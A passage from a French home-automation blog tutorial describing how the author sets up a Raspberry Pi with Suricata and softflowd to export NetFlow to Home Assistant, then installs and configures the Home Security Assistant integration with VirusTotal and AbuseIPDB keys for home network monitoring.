<p>Pour vérifier que les flux étaient bien exportés vers Home Assistant, j’ai ouvert une seconde session SSH puis lancé :</p>
<pre><code class="language-bash">sudo tcpdump -i wlan0 udp port 2055</code></pre>
<p>Résultat :</p>
<pre><code class="language-text">IP Suricata.42399 &gt; 192.168.1.222.2055: UDP</code></pre>
<p>Cette ligne confirme plusieurs points importants :</p>
<ul>
<li>softflowd fonctionne ;</li>
<li>des flux NetFlow sont bien générés ;</li>
<li>Home Assistant reçoit les paquets ;</li>
<li>le routage via le Wi-Fi est correct.</li>
</ul>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je crée un service systemd dédié</h3>
<p>Le service Debian fourni avec softflowd s’est révélé peu fiable dans ce contexte spécifique.</p>
<p>J’ai donc préféré créer mon propre service systemd.</p>
<p>Création du fichier :</p>
<pre><code class="language-bash">sudo nano /etc/systemd/system/softflowd-ids.service</code></pre>
<p>Configuration utilisée :</p>
<pre><code class="language-ini">[Unit]
Description=softflowd NetFlow exporter for IDS mirror interface
After=network-online.target promisc-eth0.service
Wants=network-online.target

[Service]
Type=simple
ExecStart=/usr/sbin/softflowd -d -i eth0 -n 192.168.1.222:2055
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target</code></pre>
<p>Puis activation du service :</p>
<pre><code class="language-bash">sudo systemctl daemon-reload
sudo systemctl enable softflowd-ids
sudo systemctl restart softflowd-ids</code></pre>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je vérifie le bon fonctionnement</h3>
<p>Pour confirmer le bon fonctionnement :</p>
<pre><code class="language-bash">sudo systemctl status softflowd-ids</code></pre>
<p>Résultat :</p>
<pre><code class="language-text">Active: active (running)

softflowd v1.1.1 starting data collection
Exporting flows from eth0 to [192.168.1.222]:2055</code></pre>
<p>À ce stade, l’architecture réseau est totalement opérationnelle :</p>
<ul>
<li>le switch Zyxel duplique le trafic ;</li>
<li>le Raspberry reçoit la copie des paquets ;</li>
<li>Suricata analyse le trafic ;</li>
<li>softflowd exporte les flux ;</li>
<li>Home Assistant centralise les données.</li>
</ul>
<p>Le plus intéressant est que cette surveillance reste totalement passive :</p>
<ul>
<li>aucun impact sur le réseau ;</li>
<li>aucune modification des équipements ;</li>
<li>aucune interruption possible du trafic ;</li>
<li>consommation électrique extrêmement faible.</li>
</ul>
<p>Le Raspberry devient ainsi une véritable sonde réseau domestique capable d’offrir une visibilité très avancée sur toute l’installation domotique et informatique de la maison.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3e0.png" alt="🏠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’intègre Home Security Assistant dans Home Assistant</h2>
<p>Une fois Suricata opérationnel et les flux NetFlow correctement exportés vers Home Assistant via softflowd, l’étape suivante consistait à exploiter réellement toutes ces données.</p>
<p>L’objectif n’était plus uniquement de capturer du trafic réseau, mais de :</p>
<ul>
<li>corréler les événements de sécurité ;</li>
<li>identifier les équipements actifs ;</li>
<li>détecter des comportements anormaux ;</li>
<li>visualiser le réseau domestique en temps réel ;</li>
<li>transformer Home Assistant en véritable centre de supervision sécurité.</li>
</ul>
<p>Pour cela, j’ai installé l’excellente intégration <strong>Home Security Assistant</strong> réalisée par domo-monster.</p>
<p>Cette intégration permet de centraliser :</p>
<ul>
<li>les logs Suricata ;</li>
<li>les flux NetFlow ;</li>
<li>les statistiques réseau ;</li>
<li>les événements suspects ;</li>
<li>les détections de vulnérabilités ;</li>
<li>les comportements réseau inhabituels.</li>
</ul>
<p>Dans mon cas, HACS était déjà installé dans Home Assistant, ce qui simplifie énormément l’installation.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2795.png" alt="➕" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’ajoute le dépôt personnalisé dans HACS</h3>
<p>Dans Home Assistant :</p>
<pre><code class="language-text">HACS
→ Intégrations
→ ⋮ (menu en haut à droite)
→ Dépôts personnalisés</code></pre>
<p>Ajout du dépôt GitHub :</p>
<pre><code class="language-text">https://github.com/domo-monster/HomeSecurityAssistant</code></pre>
<p>Puis sélection de la catégorie :</p>
<pre><code class="language-text">Integration</code></pre>
<p>Enfin :</p>
<pre><code class="language-text">Ajouter</code></pre>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11345" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-143604.png" alt="" width="387" height="182" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-143604.png 387w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-143604-300x141.png 300w" sizes="auto, (max-width: 387px) 100vw, 387px" /></p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’installe l’intégration</h3>
<p>Une fois le dépôt ajouté :</p>
<pre><code class="language-text">HACS
→ Intégrations</code></pre>
<p>Recherche de :</p>
<pre><code class="language-text">Home Security Assistant</code></pre>
<p>Puis installation de la dernière version disponible.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11346" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-143704.png" alt="" width="556" height="220" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-143704.png 556w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-143704-300x119.png 300w" sizes="auto, (max-width: 556px) 100vw, 556px" /></p>
<p>Après le téléchargement, Home Assistant demande un redémarrage complet.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50c.png" alt="🔌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’ajoute l’intégration dans Home Assistant</h3>
<p>Après redémarrage :</p>
<pre><code class="language-text">Paramètres
→ Appareils et services
→ Ajouter une intégration</code></pre>
<p>Puis recherche de :</p>
<pre><code class="language-text">Home Security Assistant</code></pre>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2699.png" alt="⚙" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je configure Home Security Assistant</h3>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11347" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-143748.png" alt="" width="285" height="136" /></p>
<p>Après l’installation de l’intégration, Home Assistant ouvre automatiquement la fenêtre de configuration de Home Security Assistant.</p>
<p>Cette configuration reste accessible à tout moment :</p>
<pre><code class="language-text">Paramètres
→ Appareils et services
→ Home Security Assistant
→ Configurer (roue crantée)</code></pre>
<p>La plupart des paramètres proposés peuvent être laissés par défaut.</p>
<p>L’intégration est déjà pensée pour fonctionner efficacement dans un environnement domestique standard.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11317" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-071540.png" alt="" width="532" height="817" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-071540.png 532w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-071540-195x300.png 195w" sizes="auto, (max-width: 532px) 100vw, 532px" /></p>
<p>Dans mon cas, seuls quelques paramètres ont réellement nécessité une attention particulière.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Hôte d’écoute</h4>
<pre><code class="language-text">0.0.0.0</code></pre>
<p>Cette valeur doit être conservée.</p>
<p>Elle permet à Home Security Assistant d’écouter les flux NetFlow sur toutes les interfaces réseau du serveur Home Assistant.</p>
<p>C’est particulièrement utile lorsque :</p>
<ul>
<li>Home Assistant possède plusieurs interfaces réseau ;</li>
<li>les flux arrivent depuis un autre équipement ;</li>
<li>la télémétrie est exportée par une sonde IDS distante comme ici avec le Raspberry.</li>
</ul>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e1.png" alt="📡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Port d’écoute UDP</h4>
<pre><code class="language-text">2055</code></pre>
<p>Ce port doit correspondre exactement à celui configuré précédemment dans softflowd :</p>
<pre><code class="language-bash">softflowd -i eth0 -n 192.168.1.222:2055</code></pre>
<p>Le port 2055 est un standard très courant pour NetFlow.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3e0.png" alt="🏠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Réseaux internes</h4>
<pre><code class="language-text">192.168.0.0/16,10.0.0.0/8,172.16.0.0/12,fd00::/8,fe80::/10</code></pre>
<p>J’ai volontairement conservé cette configuration par défaut.</p>
<p>Même si mon réseau actuel fonctionne principalement en :</p>
<pre><code class="language-text">192.168.1.0/24</code></pre>
<p>la configuration par défaut reste plus souple et plus évolutive.</p>
<p>Elle permet notamment :</p>
<ul>
<li>l’ajout futur de VLANs ;</li>
<li>la séparation des objets IoT ;</li>
<li>la gestion de réseaux invités ;</li>
<li>la compatibilité IPv6 ;</li>
<li>l’évolution future de l’infrastructure.</li>
</ul>
<p>Dans un environnement domestique moderne, il est généralement préférable de conserver cette configuration étendue.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f575.png" alt="🕵" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Fenêtre de détection de scan de ports</h4>
<pre><code class="language-text">600 secondes</code></pre>
<p>Cette valeur correspond à :</p>
<ul>
<li>10 minutes de surveillance glissante ;</li>
<li>une bonne sensibilité de détection ;</li>
<li>une charge raisonnable pour Home Assistant.</li>
</ul>
<p>L’objectif est d’éviter :</p>
<ul>
<li>les faux positifs trop agressifs ;</li>
<li>les alertes inutiles ;</li>
<li>la surcharge du moteur d’analyse.</li>
</ul>
<p>Pour un réseau domestique, la valeur par défaut est très correcte.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6aa.png" alt="🚪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Ports uniques avant alerte de scan</h4>
<pre><code class="language-text">100</code></pre>
<p>Cette valeur détermine à partir de combien de ports différents un équipement sera considéré comme potentiellement en train de réaliser un scan réseau.</p>
<p>Là encore, la valeur par défaut est adaptée à un usage domestique.</p>
<p>Une valeur trop basse pourrait provoquer énormément de faux positifs avec :</p>
<ul>
<li>Chromecast ;</li>
<li>Apple TV ;</li>
<li>objets connectés ;</li>
<li>mDNS ;</li>
<li>UPnP ;</li>
<li>découverte automatique réseau.</li>
</ul>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c8.png" alt="📈" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Seuil de trafic sortant élevé</h4>
<pre><code class="language-text">50000000</code></pre>
<p>Ce paramètre définit le volume de données considéré comme anormalement élevé sur une période donnée.</p>
<p>Dans mon cas, j’ai conservé la valeur par défaut.</p>
<p>L’objectif est principalement de détecter :</p>
<ul>
<li>un équipement compromis ;</li>
<li>un upload massif inhabituel ;</li>
<li>une exfiltration de données ;</li>
<li>un appareil IoT extrêmement bavard.</li>
</ul>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4cb.png" alt="📋" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Activer le panneau latéral</h4>
<p>Option laissée activée.</p>
<p>Cela ajoute directement Home Security Assistant dans la barre latérale de Home Assistant.</p>
<p>C’est extrêmement pratique.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Droits administrateur pour le panneau latéral</h4>
<p>Option également conservée activée.</p>
<p>Cela limite l’accès aux informations réseau sensibles uniquement aux administrateurs Home Assistant.</p>
<p>Dans un environnement multi-utilisateurs, c’est une bonne pratique de sécurité.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50e.png" alt="🔎" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Scanner réseau actif</h4>
<p>J’ai laissé le scanner actif activé.</p>
<p>Ce composant permet à Home Security Assistant :</p>
<ul>
<li>de découvrir les équipements réseau ;</li>
<li>d’identifier les hôtes actifs ;</li>
<li>de corréler les adresses IP ;</li>
<li>d’enrichir les informations réseau.</li>
</ul>
<p>Cette fonctionnalité complète parfaitement les analyses passives réalisées par Suricata.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11318" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-072226.png" alt="" width="535" height="875" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-072226.png 535w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-072226-183x300.png 183w" sizes="auto, (max-width: 535px) 100vw, 535px" /></p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/23f1.png" alt="⏱" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Intervalle du scan actif</h4>
<pre><code class="language-text">3000 secondes</code></pre>
<p>Cette valeur correspond à environ :</p>
<pre><code class="language-text">50 minutes</code></pre>
<p>Le scanner actif ne tourne donc pas en permanence.</p>
<p>C’est une excellente chose dans un environnement domestique.</p>
<p>Cela permet :</p>
<ul>
<li>de limiter la charge réseau ;</li>
<li>d’éviter des scans agressifs ;</li>
<li>de ne pas perturber certains objets IoT sensibles ;</li>
<li>de conserver une approche discrète.</li>
</ul>
<p>Pour un laboratoire ou un réseau professionnel très dynamique, on pourrait réduire cette valeur.</p>
<p>Mais pour une maison connectée, la valeur par défaut est très raisonnable.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6aa.png" alt="🚪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Ports à scanner</h4>
<p>La liste fournie par défaut peut être conservée.</p>
<p>Elle contient les ports les plus courants.</p>
<p>L’objectif du scanner n’est pas d’effectuer un scan exhaustif de sécurité offensive, mais plutôt :</p>
<ul>
<li>d’identifier les équipements ;</li>
<li>de détecter les services exposés ;</li>
<li>de cartographier le réseau ;</li>
<li>d’alimenter les corrélations de sécurité.</li>
</ul>
<p>Dans mon cas, je n’ai rien modifié.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6ab.png" alt="🚫" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Exceptions du scanner</h4>
<p>Ce champ permet d’exclure certaines IP des scans actifs.</p>
<p>Par défaut, il peut rester vide.</p>
<p>Cependant, cette fonctionnalité peut devenir utile pour :</p>
<ul>
<li>des équipements fragiles ;</li>
<li>certaines imprimantes ;</li>
<li>des objets IoT peu robustes ;</li>
<li>des équipements industriels ;</li>
<li>des appareils très sensibles aux scans réseau.</li>
</ul>
<p>Dans mon environnement, aucun équipement ne nécessitait d’exclusion.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4db.png" alt="📛" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Activer la résolution DNS inverse</h4>
<p>Cette option mérite clairement d’être activée.</p>
<p>Elle permet de transformer des IP peu parlantes en noms d’hôtes beaucoup plus lisibles.</p>
<p>Par exemple, au lieu d’afficher :</p>
<pre><code class="language-text">192.168.1.42</code></pre>
<p>Home Security Assistant pourra parfois afficher :</p>
<pre><code class="language-text">nas.maison.local
printer.local
apple-tv.local</code></pre>
<p>Cela améliore énormément :</p>
<ul>
<li>la lisibilité ;</li>
<li>l’analyse des événements ;</li>
<li>l’identification rapide des équipements.</li>
</ul>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Flux de renseignement sur les menaces</h4>
<p>Les URLs proposées par défaut peuvent être conservées.</p>
<p>Home Security Assistant télécharge automatiquement plusieurs listes de réputation et de blocage provenant de sources reconnues :</p>
<ul>
<li>Abuse.ch ;</li>
<li>SSLBL ;</li>
<li>AdGuard ;</li>
<li>autres flux communautaires.</li>
</ul>
<p>Ces flux servent à :</p>
<ul>
<li>identifier des IP malveillantes ;</li>
<li>repérer des domaines suspects ;</li>
<li>détecter certains comportements connus ;</li>
<li>alimenter les alertes de sécurité.</li>
</ul>
<p>C’est l’un des aspects les plus intéressants de l’intégration : elle enrichit automatiquement les données réseau collectées localement avec du renseignement externe.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" alt="🌍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Proxy DNS</h4>
<p>Dans mon cas, cette option est restée désactivée.</p>
<p>Le proxy DNS permettrait à Home Security Assistant :</p>
<ul>
<li>d’intercepter les requêtes DNS ;</li>
<li>de journaliser les domaines consultés ;</li>
<li>d’appliquer du blocage DNS ;</li>
<li>d’effectuer une analyse plus poussée.</li>
</ul>
<p>Mais cela implique :</p>
<ul>
<li>des privilèges réseau plus élevés ;</li>
<li>une architecture plus intrusive ;</li>
<li>une dépendance supplémentaire.</li>
</ul>
<p>Pour un premier déploiement domestique, j’ai préféré rester simple et stable.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f522.png" alt="🔢" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Port du proxy DNS</h4>
<pre><code class="language-text">53</code></pre>
<p>Valeur standard du protocole DNS.</p>
<p>Comme le proxy DNS reste désactivé, ce paramètre n’a pas d’impact.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2601.png" alt="☁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Résolveurs DNS amont</h4>
<pre><code class="language-text">1.1.1.1</code></pre>
<p>Cloudflare est utilisé ici comme résolveur DNS amont.</p>
<p>Cette valeur peut être remplacée selon les préférences :</p>
<ul>
<li>Google DNS ;</li>
<li>Quad9 ;</li>
<li>AdGuard DNS ;</li>
<li>Pi-hole ;</li>
<li>Unbound local.</li>
</ul>
<p>Dans mon cas, j’ai conservé la valeur proposée.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5c3.png" alt="🗃" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Rétention du journal DNS</h4>
<pre><code class="language-text">24 heures</code></pre>
<p>Cette valeur définit combien de temps les journaux DNS restent conservés.</p>
<p>Pour un environnement domestique :</p>
<ul>
<li>24 heures offrent déjà une bonne visibilité ;</li>
<li>cela limite la consommation mémoire ;</li>
<li>cela évite une accumulation inutile de données.</li>
</ul>
<p>Une conservation plus longue pourrait être pertinente dans un contexte professionnel ou forensique.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11319" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-072755.png" alt="" width="533" height="874" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-072755.png 533w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-072755-183x300.png 183w" sizes="auto, (max-width: 533px) 100vw, 533px" /></p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6ab.png" alt="🚫" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Sources threat-intel utilisées pour le blocage</h4>
<p>Ce champ permet de définir quelles sources de renseignement seront utilisées pour alimenter les mécanismes de blocage.</p>
<p>Dans mon cas, je l’ai laissé vide. Je préfère toujours commencer en mode observateur avant d’automatiser des contre-mesures.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26d4.png" alt="⛔" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Catégories DNS bloquées</h4>
<p>Ce champ permet de bloquer certaines catégories de domaines :</p>
<ul>
<li>adultes ;</li>
<li>gambling ;</li>
<li>malwares ;</li>
<li>tracking ;</li>
<li>phishing ;</li>
<li>etc.</li>
</ul>
<p>Là encore, je l’ai laissé vide pour ce premier déploiement.</p>
<p>Cette fonctionnalité pourra être activée plus tard, une fois le comportement normal du réseau bien compris.</p>
<p>J’utilise déjà Safe Access intégré à mon routeur Synology pour filtrer les équipements utilisés par mes filles.</p>
<p>Il fait cela via une interface graphique très agréable. On verra plus tard si je viens aussi faire du blocage DNS ici.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/21aa.png" alt="↪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Redirections DNS locales</h4>
<p>Cette fonctionnalité permet de rediriger certains domaines vers des IP spécifiques.</p>
<p>Par exemple :</p>
<pre><code class="language-text">monservice.local=192.168.1.10</code></pre>
<p>ou encore :</p>
<pre><code class="language-text">ads.example.com=0.0.0.0</code></pre>
<p>Dans mon cas, aucune redirection n’était nécessaire. Le champ est donc resté vide.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9a0.png" alt="🦠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je crée un compte VirusTotal et je récupère ma clé API</h4>
<p>VirusTotal permet d’enrichir les informations de sécurité avec des données de réputation sur des IP, domaines, URL ou fichiers suspects.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11356" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-220911.png" alt="" width="713" height="666" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-220911.png 713w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-220911-300x280.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-220911-600x560.png 600w" sizes="auto, (max-width: 713px) 100vw, 713px" /></p>
<p>Pour l’utiliser avec Home Security Assistant, il faut créer un compte gratuit sur :</p>
<pre><code class="language-text">https://www.virustotal.com</code></pre>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11357" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-221119.png" alt="" width="565" height="769" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-221119.png 565w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-221119-220x300.png 220w" sizes="auto, (max-width: 565px) 100vw, 565px" /></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11358" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-221154.png" alt="" width="559" height="109" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-221154.png 559w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-221154-300x58.png 300w" sizes="auto, (max-width: 559px) 100vw, 559px" /></p>
<p>Une fois connecté :</p>
<pre><code class="language-text">Profil utilisateur
→ API key</code></pre>
<p>VirusTotal indique que la clé API publique est disponible dans le menu du compte utilisateur une fois connecté. Cette clé doit rester privée et ne doit évidemment jamais être publiée dans un article, une capture d’écran ou un dépôt Git.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11359" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-221408.png" alt="" width="649" height="164" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-221408.png 902w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-221408-300x76.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-221408-768x194.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-221408-600x152.png 600w" sizes="auto, (max-width: 649px) 100vw, 649px" /></p>
<p>Dans Home Assistant :</p>
<pre><code class="language-text">Paramètres
→ Appareils et services
→ Home Security Assistant
→ Configurer</code></pre>
<p>Puis je renseigne le champ :</p>
<pre><code class="language-text">VirusTotal API Key</code></pre>
<p>J’ai ensuite conservé le budget quotidien proposé :</p>
<pre><code class="language-text">500</code></pre>
<p>Pour mon usage domestique, c’est largement suffisant.</p>
<p>L’objectif n’est pas d’interroger VirusTotal en permanence, mais seulement d’enrichir les éléments suspects afin de mieux comprendre ce que Home Security Assistant détecte.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6a8.png" alt="🚨" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je crée un compte AbuseIPDB et je récupère ma clé API</h4>
<p>AbuseIPDB complète très bien VirusTotal.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11360" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222002.png" alt="" width="650" height="390" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222002.png 1149w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222002-300x180.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222002-1024x614.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222002-768x461.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222002-600x360.png 600w" sizes="auto, (max-width: 650px) 100vw, 650px" /></p>
<p>Là où VirusTotal donne une réputation globale, AbuseIPDB est particulièrement utile pour identifier des adresses IP connues pour :</p>
<ul>
<li>des scans réseau ;</li>
<li>des tentatives de brute force ;</li>
<li>des comportements abusifs ;</li>
<li>des activités malveillantes signalées par la communauté.</li>
</ul>
<p>Je crée donc un compte gratuit sur :</p>
<pre><code class="language-text">https://www.abuseipdb.com</code></pre>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11361" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222023.png" alt="" width="577" height="733" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222023.png 577w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222023-236x300.png 236w" sizes="auto, (max-width: 577px) 100vw, 577px" /></p>
<p>Une fois connecté :</p>
<pre><code class="language-text">Account
→ API
→ Create Key</code></pre>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11362" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222257.png" alt="" width="651" height="282" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222257.png 1352w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222257-300x130.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222257-1024x444.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222257-768x333.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222257-600x260.png 600w" sizes="auto, (max-width: 651px) 100vw, 651px" /></p>
<p>Je donne un nom à la clé, par exemple :</p>
<pre><code class="language-text">Home Security Assistant</code></pre>
<p>Puis je copie la clé API générée.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11363" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222329.png" alt="" width="650" height="284" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222329.png 1354w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222329-300x131.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222329-1024x448.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222329-768x336.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222329-600x262.png 600w" sizes="auto, (max-width: 650px) 100vw, 650px" /></p>
<p>Comme pour VirusTotal, cette clé doit rester strictement privée. AbuseIPDB rappelle d’ailleurs que les clés API ne doivent pas être exposées publiquement.</p>
<p>Dans Home Assistant :</p>
<pre><code class="language-text">Paramètres
→ Appareils et services
→ Home Security Assistant
→ Configurer</code></pre>
<p>Puis je renseigne le champ :</p>
<pre><code class="language-text">AbuseIPDB API Key</code></pre>
<p>J’ai conservé le budget quotidien :</p>
<pre><code class="language-text">1000</code></pre>
<p>Et j’ai laissé le seuil de confiance AbuseIPDB avant interrogation VirusTotal sur une valeur raisonnable.</p>
<p>Le principe est intéressant : si AbuseIPDB considère une IP suffisamment suspecte, Home Security Assistant peut ensuite enrichir l’analyse avec VirusTotal.</p>
<p>Cela évite :</p>
<ul>
<li>les appels API inutiles ;</li>
<li>la consommation trop rapide des quotas ;</li>
<li>et les enrichissements sur des IP parfaitement banales.</li>
</ul>
<p><strong>Nota</strong> : Penser à rendre votre profil privé sinon vous donnez au monde votre ip.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11928" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-10-31-111306.png" alt="" width="295" height="63" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-10-31-111306.png 295w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-10-31-111306-18x4.png 18w" sizes="auto, (max-width: 295px) 100vw, 295px" /></p>
